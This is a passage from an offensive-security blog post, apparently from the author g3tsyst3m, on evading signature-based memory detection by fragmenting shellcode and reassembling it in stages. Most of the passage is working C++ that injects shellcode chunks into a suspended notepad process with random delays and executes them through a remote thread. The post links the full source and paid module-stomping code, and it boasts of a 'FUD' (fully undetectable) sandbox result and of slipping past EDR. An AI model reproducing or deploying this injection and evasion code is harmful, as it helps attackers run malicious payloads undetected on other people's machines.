<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Allocated RWX memory at: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">remoteBase</span><span class="p">);</span>

<span class="c1">// Staged write: write each chunk directly into final region with random delays</span>
<span class="n">SIZE_T</span> <span class="n">offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">numChunks</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">delayMs</span> <span class="o">=</span> <span class="mi">50</span> <span class="o">+</span> <span class="p">(</span><span class="n">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mi">801</span><span class="p">);</span>  <span class="c1">// 50-850ms</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[*] Waiting %d ms before writing chunk %zu...</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">delayMs</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
    <span class="n">std</span><span class="o">::</span><span class="n">this_thread</span><span class="o">::</span><span class="n">sleep_for</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">chrono</span><span class="o">::</span><span class="n">milliseconds</span><span class="p">(</span><span class="n">delayMs</span><span class="p">));</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">remoteBase</span> <span class="o">+</span> <span class="n">offset</span><span class="p">,</span>
        <span class="n">shellcodeChunks</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">shellcodeSizes</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="nb">NULL</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"[-] WriteProcessMemory failed at chunk %zu: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
        <span class="n">VirtualFreeEx</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">remoteBase</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
        <span class="n">TerminateProcess</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span> <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] Wrote chunk % zu(% zu bytes) -&gt; % p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">shellcodeSizes</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">remoteBase</span> <span class="o">+</span> <span class="n">offset</span><span class="p">);</span>
    <span class="n">offset</span> <span class="o">+=</span> <span class="n">shellcodeSizes</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="p">}</span>

<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Shellcode fully reassembled at %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">remoteBase</span><span class="p">);</span>
</code></pre></div></div>

<p>Now for the fun part!  It’s time we create a remote thread to point to our new memory region that holds our now reassembled shellcode and unsuspend the notepad process to bring everything full circle 😺</p>

<h2 id="unsuspend-notepad-and-execute-our-shellcode">Unsuspend Notepad and Execute our Shellcode!</h2>

<p>This part is fairly self explanatory.  We just create a remote thread that points to our now reassembled shellcode memory location, unsuspend notepad, and execute!</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>     <span class="c1">// Execute</span>
    <span class="n">HANDLE</span> <span class="n">hThread</span> <span class="o">=</span> <span class="n">CreateRemoteThread</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span>
        <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">remoteBase</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hThread</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"[-] CreateRemoteThread failed: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
        <span class="n">VirtualFreeEx</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">remoteBase</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
        <span class="n">TerminateProcess</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span> <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">hThread</span><span class="p">,</span> <span class="n">INFINITE</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>

    <span class="c1">// Resume notepad (optional — MessageBox will appear)</span>
    <span class="n">ResumeThread</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>

    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] Execution complete. MessageBox should appear.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Bringing everything together, here’s how this looks during execution 😸</p>

<blockquote>
  <p><strong>Chunky Shellcode Execution Demo</strong></p>
</blockquote>

<iframe width="560" height="315" src="https://www.youtube.com/embed/8KE4hZMRBzw" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<hr />

<blockquote>
  <p><strong>Full Source Code for Today’s Blog Post (Python + C++ code)</strong></p>
</blockquote>

<p><a href="https://github.com/g3tsyst3m/CodefromBlog/tree/main/2025-12-23-Evading%20Signature%20Based%20Memory%20Detection%20-%20Shellcode%20Fragmentation%20and%20Staged%20Reassembly">Source Code</a></p>

<h2 id="-bonus-content-for-subscribers-shellcode-scrambler-using-module-stomping">🔒 Bonus Content for Subscribers (Shellcode scrambler using Module Stomping!)</h2>

<blockquote>
  <p>Description: This code is similar to the code in the blog post but introduces another element to help stay under the radar: Module Stomping 😸</p>
</blockquote>

<p>🗒️ <a href="https://ko-fi.com/s/0eec6f9eb3">Access Exclusive Code Here</a> 🗒️</p>

<h2 id="anyrun-results"><strong><em>ANY.RUN Results</em></strong></h2>

<p><a href="https://app.any.run/tasks/e69e472a-e11d-441d-a755-b11f61a25fdc">Full Sandbox Analysis</a></p>

<p><strong>FUD worthy</strong> 😺</p>

<p><img width="1537" height="656" alt="image" src="https://github.com/user-attachments/assets/4239c031-dca1-4649-9b9a-5cef1a0b8338" /></p>

<div style="text-align: right;">
Sponsored by:<br />
<img src="https://github.com/user-attachments/assets/111a0bb6-66e1-43b0-9a0a-5ce093f4b65e" alt="Sponsor logo" style="max-width: 200px;" />
</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Shellcode fragmentation" /><category term="In-Memory Evasion" /><category term="Shellcode" /><category term="2025" /><category term="g3tsyst3m" /><category term="Evasion" /><category term="Fragmented Shellcode" /><category term="Shellcode fragmentation" /><category term="Staged shellcode" /><category term="in-memory evasion" /><category term="in-memory shellcode" /><category term="timed-attacks" /><summary type="html"><![CDATA[Hey everyone, and hope the holiday season is treating you well! 🎅🎄🎁 I’ve been sitting on this blog post for quite some time now and it’s high time I went ahead and make it public. This technique has been around for quite some time, but I feel it gets easily tossed into the attic, along with so many other techniques still viable in 2025 and beyond. Why? Because we all love novelty for one thing, and the latest and greatest offsec technique is always going to pique our interest. I get it, trust me. I love learning new things, I thrive on it. But I also like taking something old and re-inventing it so to speak. I got my start reinventing older code and techniques with UAC bypasses. There are so many that still work and remain undetected if you know how to tweak the code. In other words, why reinvent the wheel entirely when you can just reinvent some aspects to repurpose something that already works? EDR expects the novel techniques, but sometimes the tried and true techniques can be just as effective and quite unassuming, if you can adjust the heavily signatured nature of a given technique/payload artifact.]]></summary></entry></feed>